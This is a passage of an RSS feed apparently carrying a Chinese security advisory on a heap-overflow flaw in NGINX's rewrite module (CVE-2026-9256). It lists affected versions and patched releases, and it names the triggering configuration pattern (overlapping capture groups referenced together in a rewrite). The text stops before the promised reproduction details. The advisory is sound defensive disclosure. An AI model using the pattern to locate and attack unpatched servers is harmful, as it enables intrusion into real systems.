<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>日常随记</title><link>https://www.7x0.cn/</link><description>Good Luck To You!</description><item><title>NGINX 再曝高危漏洞：rewrite 模块存在堆溢出漏洞（CVE-2026-9256）</title><link>https://www.7x0.cn/post/33.html</link><description>&lt;section style=&quot;font-size: 15px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;section style=&quot;margin: 10px 0% 8px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;border-left: 3px solid rgb(219, 219, 219);border-bottom-left-radius: 0px;padding: 0px 0px 0px 8px;align-self: flex-start;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;color: rgb(249, 110, 87);padding: 0px 8px;font-size: 14px;width: 100%;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX 曝出重写模块堆缓冲区溢出漏洞（CVE-2026-9256，CVSS 8.1）。攻击者无需认证即可通过特制 HTTP 请求触发漏洞，导致 NGINX 工作进程崩溃和信息泄露，并可能造成远程代码执行。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;利用前置条件：&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击者能够网络访问目标平台/服务器&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;目标 NGINX 使用了 rewrite 指令&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;该 rewrite 处于 redirect 或参数拼接（?）场景&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;该 rewrite 使用了重叠的 PCRE 捕获组（如 ^/((.*))$）&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;该 rewrite 的替换字符串同时引用多个捕获组（如 $1$2）&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;word-break: break-all;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;目前&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;360漏洞挖掘智能体已成功复现该漏洞&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。本文包含完整影响范围、修复方案、技术原理与复现细节，建议用户立即升级。&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;min-height: 40px;margin: 10px 0%;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;width: 100%;margin: 0px auto -10px;box-sizing: border-box;&quot;&gt;&lt;table style=&quot;border-collapse: collapse;box-sizing: border-box;margin-bottom: 10px;&quot;&gt;&lt;tbody&gt;&lt;tr style=&quot;box-sizing: border-box;&quot; class=&quot;firstRow&quot;&gt;&lt;td colspan=&quot;4&quot; data-colwidth=&quot;100.0000%&quot; width=&quot;100.0000%&quot; style=&quot;border-width: 1px; border-color: rgb(100, 130, 228); border-style: solid; background-color: rgb(100, 130, 228); box-sizing: border-box; padding: 0px; word-break: break-all;&quot;&gt;&lt;section style=&quot;text-align: center;color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞概述&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td data-colwidth=&quot;24.0000%&quot; width=&quot;24.0000%&quot; style=&quot;border-width: 1px; border-color: rgb(100, 130, 228); border-style: solid; box-sizing: border-box; padding: 0px; word-break: break-all;&quot;&gt;&lt;section style=&quot;font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞名称&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td colspan=&quot;3&quot; data-colwidth=&quot;76.0000%&quot; width=&quot;76.0000%&quot; style=&quot;border-width: 1px; border-color: rgb(100, 130, 228); border-style: solid; box-sizing: border-box; padding: 0px; word-break: break-all;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX ngx_http_rewrite_module 缓冲区溢出漏洞&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td data-colwidth=&quot;24.0000%&quot; width=&quot;24.0000%&quot; style=&quot;border-width: 1px; border-color: rgb(100, 130, 228); border-style: solid; box-sizing: border-box; padding: 0px; word-break: break-all;&quot;&gt;&lt;section style=&quot;font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞编号&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td colspan=&quot;3&quot; data-colwidth=&quot;76.0000%&quot; width=&quot;76.0000%&quot; style=&quot;border-width: 1px; border-color: rgb(100, 130, 228); border-style: solid; box-sizing: border-box; padding: 0px; word-break: break-all;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CVE-2026-9256&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td data-colwidth=&quot;24.0000%&quot; width=&quot;24.0000%&quot; style=&quot;border-width: 1px; border-color: rgb(100, 130, 228); border-style: solid; box-sizing: border-box; padding: 0px; word-break: break-all;&quot;&gt;&lt;section style=&quot;font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;公开时间&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;28.0000%&quot; width=&quot;28.0000%&quot; style=&quot;border-width: 1px; border-color: rgb(100, 130, 228); border-style: solid; box-sizing: border-box; padding: 0px; word-break: break-all;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2026-05-22&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;28.0000%&quot; width=&quot;28.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;color: #000000;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;POC状态&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;20.0000%&quot; width=&quot;20.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;已公开&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td data-colwidth=&quot;24.0000%&quot; width=&quot;24.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞类型&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;28.0000%&quot; width=&quot;28.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;堆缓冲区溢出&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;28.0000%&quot; width=&quot;28.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;EXP状态&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;20.0000%&quot; width=&quot;20.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;未公开&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td data-colwidth=&quot;24.0000%&quot; width=&quot;24.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;color: #000000;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;利用可能性&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;28.0000%&quot; width=&quot;28.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;高&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;28.0000%&quot; width=&quot;28.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;color: rgb(0, 0, 0);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;技术细节状态&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;20.0000%&quot; width=&quot;20.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;已公开&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td data-colwidth=&quot;24.0000%&quot; width=&quot;24.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CVSS 3.1&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;28.0000%&quot; width=&quot;28.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;8.1&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;28.0000%&quot; width=&quot;28.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在野利用状态&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;td data-colwidth=&quot;20.0000%&quot; width=&quot;20.0000%&quot; style=&quot;border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;&quot;&gt;&lt;section style=&quot;font-size: 12px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;未发现&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: auto;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: center;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(100, 130, 228);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;01&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(100, 130, 228);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 5px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: justify;font-size: 17px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;font-size: 16px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞影响范围&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: 2;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;background-color: rgb(100, 130, 228);height: 1px;box-sizing: border-box;&quot;&gt;&lt;svg viewbox=&quot;0 0 1 1&quot; style=&quot;float:left;line-height:0;width:0;vertical-align:top;&quot;&gt;&lt;/svg&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;受影响的软件版本：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX Open Source 1.31.0&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX Open Source 1.0.0 &amp;lt;= 受影响版本 &amp;lt;= 1.30.1&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;NGINX Open Source 0.1.17 &amp;lt;= 受影响版本 &amp;lt;= 0.9.7&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX Plus 37.0.0&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX Plus R32 &amp;lt;= 受影响版本 &amp;lt;= R36&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: auto;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: center;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(100, 130, 228);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;02&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(100, 130, 228);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 5px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: justify;font-size: 17px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;font-size: 16px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;修复建议&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: 2;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;background-color: rgb(100, 130, 228);height: 1px;box-sizing: border-box;&quot;&gt;&lt;svg viewbox=&quot;0 0 1 1&quot; style=&quot;float:left;line-height:0;width:0;vertical-align:top;&quot;&gt;&lt;/svg&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;正式防护方案&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;受影响用户请立即升级至以下安全版本：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX Plus 升级至 37.0.1.1、R36 P5、R32 P7 版本&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX Open Source 升级至 1.31.1、1.30.2 版本&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: auto;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: center;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(100, 130, 228);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span 